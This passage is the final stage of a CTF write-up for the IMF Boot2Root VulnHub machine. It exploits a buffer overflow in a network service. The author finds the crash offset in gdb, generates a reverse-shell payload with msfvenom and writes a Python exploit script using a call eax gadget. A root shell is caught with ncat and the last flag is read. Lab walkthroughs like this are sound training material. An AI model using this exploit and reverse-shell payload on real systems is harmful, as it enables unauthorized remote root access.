Enter report update: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnC
Report: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnC
Submitted for review.

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
EAX: 0xffffd334 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASA4\323\377\377TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EBX: 0x0
ECX: 0xfbad0087
EDX: 0xf7fbf870 --> 0x0
ESI: 0x1
EDI: 0xf7fbe000 --> 0x1b2db0
EBP: 0x41417241 ('ArAA')
ESP: 0xffffd3e0 ("AAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%"...)
EIP: 0x74414156 ('VAAt')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x74414156
[------------------------------------stack-------------------------------------]
0000| 0xffffd3e0 ("AAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%"...)
0004| 0xffffd3e4 ("AuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%W"...)
0008| 0xffffd3e8 ("XAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA"...)
0012| 0xffffd3ec ("AAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%"...)
0016| 0xffffd3f0 ("AwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%Y"...)
0020| 0xffffd3f4 ("ZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA"...)
0024| 0xffffd3f8 ("AAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%"...)
0028| 0xffffd3fc ("AzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x74414156 in ?? ()
gdb-peda$ pattern_offset 0x74414156
1950433622 found at offset: 168

Time to exploit this! I check what security is enabled on the binary.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

Well, this should be easy.

After uploading the binary to ropshell, I find a useful call eax gadget at 0x08048563.

Next I generate a payload with msfvenom, asking it to avoid null and newline characters.

root@kali:~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.110.103 LPORT=4445 -f python -b "\x00\x0a\x0d"
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of python file: 470 bytes
buf =  ""
buf += "\xda\xc5\xd9\x74\x24\xf4\xbd\xb8\x8d\x81\x81\x58\x33"
buf += "\xc9\xb1\x12\x31\x68\x17\x03\x68\x17\x83\x78\x89\x63"
buf += "\x74\x49\x49\x94\x94\xfa\x2e\x08\x31\xfe\x39\x4f\x75"
buf += "\x98\xf4\x10\xe5\x3d\xb7\x2e\xc7\x3d\xfe\x29\x2e\x55"
buf += "\xc1\x62\xbe\xc2\xa9\x70\x3f\x1d\x77\xfc\xde\xad\xe1"
buf += "\xae\x71\x9e\x5e\x4d\xfb\xc1\x6c\xd2\xa9\x69\x01\xfc"
buf += "\x3e\x01\xb5\x2d\xee\xb3\x2c\xbb\x13\x61\xfc\x32\x32"
buf += "\x35\x09\x88\x35"

Finally, I put together my exploit script.

import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('localhost', 7788))
client.recv(512)
client.send("48093572\n")
client.recv(512)
client.send("3\n")
client.recv(512)

# shellcode from msfvenom
buf =  ""
buf += "\xd9\xf6\xbb\x01\x7a\xdc\x6c\xd9\x74\x24\xf4\x58\x2b"
buf += "\xc9\xb1\x12\x31\x58\x17\x83\xe8\xfc\x03\x59\x69\x3e"
buf += "\x99\x68\x56\x49\x81\xd9\x2b\xe5\x2c\xdf\x22\xe8\x01"
buf += "\xb9\xf9\x6b\xf2\x1c\xb2\x53\x38\x1e\xfb\xd2\x3b\x76"
buf += "\x3c\x8c\xd2\xe1\xd4\xcf\x2a\xfc\x79\x59\xcb\x4e\xe7"
buf += "\x09\x5d\xfd\x5b\xaa\xd4\xe0\x51\x2d\xb4\x8a\x07\x01"
buf += "\x4a\x22\xb0\x72\x83\xd0\x29\x04\x38\x46\xf9\x9f\x5e"
buf += "\xd6\xf6\x52\x20"

# padding
buf += "A" * (168 - len(buf))

# call eax gadget
buf += "\x63\x85\x04\x08\n"
client.send(buf)

Time to exploit this service! I setup a listener with ncat.

root@kali:~# ncat -lv 0.0.0.0 4445
Ncat: Version 7.25BETA2 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4445

Then execute the above script. I'm met with the following on my ncat tab.

Ncat: Connection from 192.168.110.101.
Ncat: Connection from 192.168.110.101:55412.
id
uid=0(root) gid=0(root) groups=0(root)

Let's grab the last flag!

cd /root
ls -lah
total 28K
drwx------  3 root root 4.0K Oct 26 18:57 .
drwxr-xr-x 25 root root 4.0K Oct 26 18:32 ..
-rw-r--r--  1 root root 3.1K Oct 22  2015 .bashrc
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4.0K Oct 16 19:24 .ssh
-rw-r--r--  1 root root   28 Oct 11 23:10 Flag.txt
-rw-r--r--  1 root root  947 Oct 26 18:57 TheEnd.txt
cat Flag.txt
flag6{R2gwc3RQcm90MGMwbHM=}
cat TheEnd.txt
   ____                        _ __   __   
  /  _/_ _  ___  ___  ___ ___ (_) /  / /__
 _/ //  ' \/ _ \/ _ \(_-<(_-</ / _ \/ / -_)
/___/_/_/_/ .__/\___/___/___/_/_.__/_/\__/
   __  __/_/        _                      
  /  |/  (_)__ ___ (_)__  ___              
 / /|_/ / (_-<(_-</ / _ \/ _ \             
/_/__/_/_/___/___/_/\___/_//_/             
  / __/__  ___________                     
 / _// _ \/ __/ __/ -_)                    
/_/  \___/_/  \__/\__/                     

Congratulations on finishing the IMF Boot2Root CTF. I hope you enjoyed it.
Thank you for trying this challenge and please send any feedback.

Geckom
Twitter: @g3ck0ma
Email: geckom@redteamr.com
Web: http://redteamr.com

Special Thanks
Binary Advice: OJ (@TheColonial) and Justin Stevens (@justinsteven)
Web Advice: Menztrual (@menztrual)
Testers: dook (@dooktwit), Menztrual (@menztrual), llid3nlq and OJ(@TheColonial)

So the last flag is flag6{R2gwc3RQcm90MGMwbHM=}, which decodes to Gh0stProt0c0ls.

Conclusion

This was a really nice VM - a good amount of challenge, which quickly ramps up in to a more intermediate level as you progress. I loved the binary step - it's been a while since I've done any of that! Thank you for the challenge Geckom, and of course thank you VulnHub for hosting it!